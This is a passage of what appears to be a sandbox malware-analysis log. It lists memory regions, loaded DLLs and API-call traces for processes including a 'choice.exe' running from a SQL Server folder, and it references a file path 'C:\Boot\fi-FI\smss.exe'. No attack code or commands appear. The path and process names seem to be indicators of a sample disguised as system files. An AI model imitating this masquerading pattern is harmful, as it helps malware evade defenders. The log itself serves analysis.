9803 start_va = 0x600000 end_va = 0x60ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 9804 start_va = 0x1f50000 end_va = 0x1f5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 9805 start_va = 0x1f60000 end_va = 0x1f6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f60000" filename = "" Region: id = 9806 start_va = 0x1f70000 end_va = 0x1f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f70000" filename = "" Region: id = 9807 start_va = 0x1f80000 end_va = 0x1f8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f80000" filename = "" Region: id = 9808 start_va = 0x1f90000 end_va = 0x1f9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f90000" filename = "" Region: id = 9809 start_va = 0x2020000 end_va = 0x202ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002020000" filename = "" Region: id = 9810 start_va = 0x2030000 end_va = 0x203ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002030000" filename = "" Region: id = 9811 start_va = 0x2140000 end_va = 0x214ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002140000" filename = "" Region: id = 9929 start_va = 0x2150000 end_va = 0x215ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002150000" filename = "" Region: id = 9930 start_va = 0x2160000 end_va = 0x216ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002160000" filename = "" Region: id = 9931 start_va = 0x2170000 end_va = 0x217ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002170000" filename = "" Region: id = 9977 start_va = 0x2180000 end_va = 0x218ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002180000" filename = "" Region: id = 9978 start_va = 0x2190000 end_va = 0x219ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002190000" filename = "" Region: id = 9979 start_va = 0x21a0000 end_va = 0x21affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021a0000" filename = "" Region: id = 9980 start_va = 0x21b0000 end_va = 0x21bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021b0000" filename = "" Region: id = 9981 start_va = 0x21c0000 end_va = 0x21cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021c0000" filename = "" Region: id = 9982 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 9983 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 9984 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 9985 start_va = 0x1a700000 end_va = 0x1a70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a700000" filename = "" Region: id = 10040 start_va = 0x1a710000 end_va = 0x1a71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a710000" filename = "" Region: id = 10041 start_va = 0x1a720000 end_va = 0x1a72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a720000" filename = "" Region: id = 10042 start_va = 0x1a730000 end_va = 0x1a73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a730000" filename = "" Region: id = 10043 start_va = 0x1a740000 end_va = 0x1a74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a740000" filename = "" Region: id = 10044 start_va = 0x1a750000 end_va = 0x1a75ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a750000" filename = "" Region: id = 10045 start_va = 0x1a760000 end_va = 0x1a76ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a760000" filename = "" Region: id = 10046 start_va = 0x1a770000 end_va = 0x1a77ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a770000" filename = "" Region: id = 10047 start_va = 0x1a780000 end_va = 0x1a78ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a780000" filename = "" Region: id = 10048 start_va = 0x1a790000 end_va = 0x1a79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a790000" filename = "" Region: id = 10049 start_va = 0x1ac70000 end_va = 0x1ac7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac70000" filename = "" Region: id = 10050 start_va = 0x1acc0000 end_va = 0x1ad3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acc0000" filename = "" Region: id = 10051 start_va = 0x1ac80000 end_va = 0x1ac8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac80000" filename = "" Region: id = 10173 start_va = 0x1ac90000 end_va = 0x1ac9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac90000" filename = "" Region: id = 10319 start_va = 0x1afa0000 end_va = 0x1afdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001afa0000" filename = "" Region: id = 10320 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 10321 start_va = 0x7fe94a90000 end_va = 0x7fe94a9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a90000" filename = "" Region: id = 10373 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 10374 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 10375 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 10376 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 10427 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 10428 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 10429 start_va = 0x250000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 10430 start_va = 0x260000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 10453 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 10468 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 10485 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 10493 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 10508 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Thread: id = 343 os_tid = 0x5a4 [0225.331] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0243.164] EtwEventRegister (in: ProviderId=0x23857f8, EnableCallback=0x1af0135c, CallbackContext=0x0, RegHandle=0x23857d8 | out: RegHandle=0x23857d8) returned 0x0 [0244.717] EtwEventRegister (in: ProviderId=0x2389f68, EnableCallback=0x1af013ac, CallbackContext=0x0, RegHandle=0x2389f48 | out: RegHandle=0x2389f48) returned 0x0 [0245.820] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x213e50*=0xd8, lpdwindex=0x47e114 | out: lpdwindex=0x47e114) returned 0x0 [0247.585] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x213e50*=0xd8, lpdwindex=0x47e114 | out: lpdwindex=0x47e114) returned 0x0 [0267.499] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1a8c3e20*=0x24, lpdwindex=0x47de04 | out: lpdwindex=0x47de04) returned 0x0 [0267.974] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x213e50*=0xd8, lpdwindex=0x47e114) Thread: id = 418 os_tid = 0x534 Thread: id = 424 os_tid = 0x54c [0227.869] CoGetContextToken (in: pToken=0x213f3e0 | out: pToken=0x213f3e0) returned 0x800401f0 [0227.870] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 432 os_tid = 0x774 Thread: id = 447 os_tid = 0x83c [0245.642] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0245.643] CoGetContextToken (in: pToken=0x1b0df5f0 | out: pToken=0x1b0df5f0) returned 0x0 [0245.643] CObjectContext::QueryInterface () returned 0x0 [0245.643] CObjectContext::GetCurrentThreadType () returned 0x0 [0245.643] Release () returned 0x0 [0245.643] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0245.644] CoUninitialize () [0258.625] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0dda28 | out: phkResult=0x1b0dda28*=0x0) returned 0x2 [0258.625] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0258.631] GetFullPathNameW (in: lpFileName="C:\\Boot\\fi-FI\\smss.exe", nBufferLength=0x105, lpBuffer=0x1b0de560, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fi-FI\\smss.exe", lpFilePart=0x0) returned 0x16 Thread: id = 448 os_tid = 0x840 Thread: id = 478 os_tid = 0x8b8 Thread: id = 493 os_tid = 0x8f4 Thread: id = 494 os_tid = 0x8f8 Thread: id = 536 os_tid = 0x9a8 [0248.961] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0248.963] CoGetContextToken (in: pToken=0x1b80fab0 | out: pToken=0x1b80fab0) returned 0x0 [0248.963] CObjectContext::QueryInterface () returned 0x0 [0248.963] CObjectContext::GetCurrentThreadType () returned 0x0 [0248.963] Release () returned 0x0 [0248.963] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0248.963] CoUninitialize () Thread: id = 550 os_tid = 0x9e8 Process: id = "81" image_name = "choice.exe" filename = "c:\\program files (x86)\\microsoft sql server\\110\\shared\\choice.exe" page_root = "0x770c8000" os_pid = "0x5e8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "76" os_parent_pid = "0x4d8" cmd_line = "\"C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fea5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7418 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 7419 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 7420 start_va = 0x110000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 7421 start_va = 0x1250000 end_va = 0x1327fff monitored = 1 entry_point = 0x131f1ee region_type = mapped_file name = "choice.exe" filename = "\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe" (normalized: "c:\\program files (x86)\\microsoft sql server\\110\\shared\\choice.exe") Region: id = 7422 start_va = 0x77810000 end_va = 0x779b8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7423 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 7424 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7425 start_va = 0x7feffb30000 end_va = 0x7feffb30fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 7426 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 7427 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 7428 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 7429 start_va = 0x210000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 7430 start_va = 0x7fefa8a0000 end_va = 0x7fefa90efff monitored = 1 entry_point = 0x7fefa8a1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 7431 start_va = 0x775f0000 end_va = 0x7770efff monitored = 0 entry_point = 0x77605340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7432 start_va = 0x7fefd810000 end_va = 0x7fefd87bfff monitored = 0 entry_point = 0x7fefd812780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7451 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 7452 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 7453 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 7484 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7485 start_va = 0x350000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 7486 start_va = 0x440000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 7647 start_va = 0x540000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 7674 start_va = 0x7fefe4d0000 end_va = 0x7fefe5aafff monitored = 0 entry_point = 0x7fefe4f0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7675 start_va = 0x7fefdb30000 end_va = 0x7fefdbcefff monitored = 0 entry_point = 0x7fefdb325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7676 start_va = 0x7feffa50000 end_va = 0x7feffa6efff monitored = 0 entry_point = 0x7feffa560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7677 start_va = 0x7fefe3a0000 end_va = 0x7fefe4ccfff monitored = 0 entry_point = 0x7fefe3eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7678 start_va = 0x210000 end_va = 0x28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 7679 start_va = 0x2d0000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 7680 start_va = 0x540000 end_va = 0x63ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 7681 start_va = 0x670000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 7682 start_va = 0x7fef7fc0000 end_va = 0x7fef8068fff monitored = 1 entry_point = 0x7fef7fc1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 7822 start_va = 0x7fefa890000 end_va = 0x7fefa892fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 7938 start_va = 0x7fefdef0000 end_va = 0x7fefdf60fff monitored = 0 entry_point = 0x7fefdf01e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7939 start_va = 0x7fefdce0000 end_va = 0x7fefdd46fff monitored = 0 entry_point = 0x7fefdceb03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7940 start_va = 0x77710000 end_va = 0x77809fff monitored = 0 entry_point = 0x7772a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7941 start_va = 0x7feffa70000 end_va = 0x7feffa7dfff monitored = 0 entry_point = 0x7feffa71080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 7942 start_va = 0x7feff340000 end_va = 0x7feff408fff monitored = 0 entry_point = 0x7feff3ba874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 7963 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7964 start_va = 0x6f0000 end_va = 0x877fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006f0000" filename = "" Region: id = 7965 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7966 start_va = 0x7fefdcb0000 end_va = 0x7fefdcddfff monitored = 0 entry_point = 0x7fefdcb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7967 start_va = 0x7feff410000 end_va = 0x7feff518fff monitored = 0 entry_point = 0x7feff411064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 8027 start_va = 0x880000 end_va = 0xa00fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000880000" filename = "" Region: id = 8028 start_va = 0x1330000 end_va = 0x272ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001330000" filename = "" Region: id = 8029 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 8030 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 8031 start_va = 0x350000 end_va = 0x420fff monitored = 1 entry_point = 0x41f1ee region_type = mapped_file name = "choice.exe" filename = "\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe" (normalized: "c:\\program files (x86)\\microsoft sql server\\110\\shared\\choice.exe") Region: id = 8032 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 8068 start_va = 0x350000 end_va = 0x420fff monitored = 1 entry_point = 0x41f1ee region_type = mapped_file name = "choice.exe" filename = "\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe" (normalized: "c:\\program files (x86)\\microsoft sql server\\110\\shared\\choice.exe") Region: id = 8069 start_va = 0x7fefc920000 end_va = 0x7fefc92bfff monitored = 0 entry_point = 0x7fefc921064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8282 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8295 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8413 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8444 start_va = 0x7fef3f00000 end_va = 0x7fef3f15fff monitored = 0 entry_point = 0x7fef3f0c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 8445 start_va = 0x7fef3e40000 end_va = 0x7fef3efcfff monitored = 0 entry_point = 0x7fef3ec7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 8462 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 8463 start_va = 0xd0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 8464 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 8465 start_va = 0x7fe948e0000 end_va = 0x7fe948effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948e0000" filename = "" Region: id = 8466 start_va = 0x7fe948f0000 end_va = 0x7fe948fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948f0000" filename = "" Region: id = 8467 start_va = 0x7fe94900000 end_va = 0x7fe9498ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94900000" filename = "" Region: id = 8468 start_va = 0x7fe94990000 end_va = 0x7fe949fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94990000" filename = "" Region: id = 8469 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 8470 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 8471 start_va = 0xa10000 end_va = 0xb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 8472 start_va = 0xb30000 end_va = 0xc8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b30000" filename = "" Region: id = 8531 start_va = 0xdd0000 end_va = 0xecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000dd0000" filename = "" Region: id = 8532 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 8533 start_va = 0x210000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 8534 start_va = 0x280000 end_va = 0x28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 8535 start_va = 0x2730000 end_va = 0x1a72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 8615 start_va = 0xed0000 end_va = 0x124ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ed0000" filename = "" Region: id = 8616 start_va = 0xc90000 end_va = 0xd90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c90000" filename = "" Region: id = 8617 start_va = 0x1a8d0000 end_va = 0x1a9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8d0000" filename = "" Region: id = 8618 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 8679 start_va = 0x1a730000 end_va = 0x1a82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a730000" filename = "" Region: id = 8680 start_va = 0x1a9d0000 end_va = 0x1aacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a9d0000" filename = "" Region: id = 8681 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 8702 start_va = 0x1aad0000 end_va = 0x1ad9efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8712 start_va = 0x7fef2840000 end_va = 0x7fef3e3cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 8760 start_va = 0x7fefe060000 end_va = 0x7fefe262fff monitored = 0 entry_point = 0x7fefe083330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8761 start_va = 0x350000 end_va = 0x3ccfff monitored = 0 entry_point = 0x35cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8762 start_va = 0x350000 end_va = 0x3ccfff monitored = 0 entry_point = 0x35cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8763 start_va = 0x7fefd690000 end_va = 0x7fefd69efff monitored = 0 entry_point = 0x7fefd691010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8814 start_va = 0x7fefc0b0000 end_va = 0x7fefc105fff monitored = 0 entry_point = 0x7fefc0bbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8815 start_va = 0x1ada0000 end_va = 0x1af7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 8816 start_va = 0x350000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000350000" filename = "" Region: id = 8817 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 8818 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 